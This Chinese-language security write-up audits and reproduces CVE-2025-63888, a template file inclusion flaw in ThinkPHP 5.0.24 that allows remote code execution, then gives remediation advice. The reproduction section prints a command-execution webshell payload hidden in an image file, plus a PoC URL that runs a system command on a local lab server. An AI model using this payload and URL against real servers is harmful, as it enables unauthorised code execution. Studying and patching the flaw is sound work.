CVE-2025-63888 深度剖析:ThinkPHP 5.0.24 模板文件包含致 RCE 代码审计与复现
CVE-2025-63888(CVSS 9.8)是ThinkPHP 5.0.24模板文件包含漏洞。业务层将用户可控参数直接传入view()函数,底层模板驱动路径校验缺失,攻击者可传入绝对路径/穿越路径包含恶意文件,利用TP模板 {php} 标签编译执行PHP代码,达成RCE。本文完整完成代码审计与漏洞复现,分析数据流与攻击链路并给出修复方案。
前言
近期,ThinkPHP 5.0.24 版本被披露存在一个高危的模板文件包含漏洞(CVE-2025-63888,CVSS 评分 9.8)。该漏洞源于框架底层对视图路径处理不当。当开发者不安全的将用户输入直接传入 view() 函数时,攻击者可通过目录穿越或绝对路径,包含任意恶意文件(如包含 PHP 代码的图片马),最终导致远程代码执行(RCE)。
免责声明:本文仅供安全技术研究与交流,请勿用于未授权的测试。测试环境为本地搭建的靶场。
一、 环境搭建
为了最真实地还原漏洞场景,本地使用 Windows 环境下的 PHP 7.4.33 内置服务器启动靶场,并通过 Git 拉取 ThinkPHP 5.0.24 源码。
在项目根目录下执行以下命令启动服务:
php -S 0.0.0.0:8080 -t public
访问 http://127.0.0.1:8080 ,成功看到 ThinkPHP V5 的欢迎页,环境搭建完毕。
二、 漏洞代码审计分析
该漏洞本质上是一个经典的 Source -> Sink 数据流问题。我们需要分别定位漏洞的入口和最终的执行点。
1. Source 点:信任边界被打破
在控制器 application/index/controller/Index.php 中,我们模拟了开发中常见的错误写法。开发者使用 input('get.tpl') 接收了外部 GET 参数,并未经任何过滤直接赋值给 $template,随后传入 view() 函数。
如上图所示:
· 第 11 行:$template = input('get.tpl');,此处参数完全受攻击者控制。
· 第 19 行:return view($template);,危险调用。正常开发中此处应为固定的模板名,但这里直接传入了外部变量,导致数据流一路向下传递。
2. Sink 点:致命的文件包含
追踪数据流,最终到达底层 thinkphp/library/think/template/driver/File.php 中的 read() 方法。
如上图所示:
· 第 47 行:外部传入的路径直接赋值给了 $this->cacheFile。
· 第 53 行:include $this->cacheFile;。致命点出现,代码在没有任何路径穿越(../)过滤或白名单校验的情况下,直接对目标路径进行了 include,导致任意文件包含。
· 第 50 行(附加发现):extract($vars, EXTR_OVERWRITE); 使用了覆盖模式,存在变量覆盖的二次利用风险。
三、 漏洞复现与利用过程
1. 制作模板图片马
由于底层 include 无法直接解析 原生标签,此处利用了 ThinkPHP 模板引擎的解析特性。我们在 public/uploads/ 目录下准备一张正常的图片 text.jpg,并在其中写入 {php} 标签:
Payload 为:
{php}echo "VULN_HIT"; system($_GET['cmd']);{/php}当该文件被 view() 包含时,ThinkPHP 模板引擎会在 runtime 目录下将其编译为缓存文件,并将 {php} 标签解析为实际的 PHP 代码,从而绕过图片后缀的限制。
2. 无害性对比验证
直接通过 URL 访问 http://127.0.0.1:8080/uploads/text.jpg 。
如图所示,页面将图片正常渲染,PHP 代码未被执行。这证明单纯上传图片马本身无法触发漏洞,必须借助框架的 include 包含机制才能触发。
3. 验证底层包含(排坑测试)
在测试相对路径(如 ../uploads/text.jpg)时,由于 ThinkPHP 5 默认会去 application/index/view/ 目录下寻找模板,并自动补全后缀,导致测试时一直返回“页面错误”。
为了排除路由和模板路径拼接的干扰,我们先将控制器中的路径硬编码为绝对路径:
$template = 'D:/tp/public/uploads/text.jpg';
return view($template);
成功回显 RCE_SUCCESS 及系统用户名,证明底层的 include 确实执行了文件。这也印证了漏洞利用时可以突破目录限制。
4. 终极动态 Payload 利用 (PoC)
最后,恢复 input('get.tpl') 的动态传参,构造最终的 PoC URL:
http://127.0.0.1:8080/index.php/index/index/index?tpl=D:/tp/public/uploads/text.jpg&cmd=whoami
结果分析:
- 浏览器端:页面成功回显 VULN_HIT 及当前操作系统的用户名 laptop-svenj59b\asus,证明模板引擎成功解析并执行了恶意代码。
- 服务端日志:终端日志清晰记录了这条恶意的 GET 请求(状态码 200),形成了完整的攻击证据链。
四、 修复建议
- 严禁用户可控:开发规范中应严格要求,view() 等视图渲染函数的参数绝不能由用户直接输入,应使用硬编码的固定模板名称。
- 白名单校验:如果必须动态渲染,应在进入 view() 之前,对路径进行严格的白名单校验,并过滤 ../、..\ 等目录穿越字符。
- 框架升级:ThinkPHP 5.0.x 系列已停止维护,建议升级至 ThinkPHP 6.x 或 8.x 最新安全版本。
五、 总结与思考
通过本次对 CVE-2025-63888 的完整审计与复现,我们可以得出以下几点思考:
1. 信任边界的重要性:
漏洞的根源往往在于“信任边界”被打破。view() 函数本身只是负责渲染,但由于开发者错误地将外部可控参数(input('get.tpl'))直接传入,瞬间将普通的渲染逻辑变成了致命的攻击面。
2. 框架并非绝对安全:
许多开发者认为只要使用了成熟框架(如 ThinkPHP)就一定安全。但实际上,框架底层(如 File::read() 中的 include)如果缺乏严格的二次校验(如路径白名单、目录限制),一旦上层调用不当,依然会引发致命漏洞。
3. 防御纵深(Defense in Depth):
如果在业务层(Controller)无法保证绝对安全,那么框架层(底层 Sink 点)就应该提供兜底的过滤机制。对于使用 ThinkPHP 5.0.x 等已停止维护版本的业务系统,除了尽量升级外,还需在代码层面加入严格的输入校验。
安全是一个持续对抗的过程,准确理解漏洞的 Source 到 Sink 的数据流向,不仅能帮助我们精准复现,更能指导我们在日常开发中写出更加健壮的代码。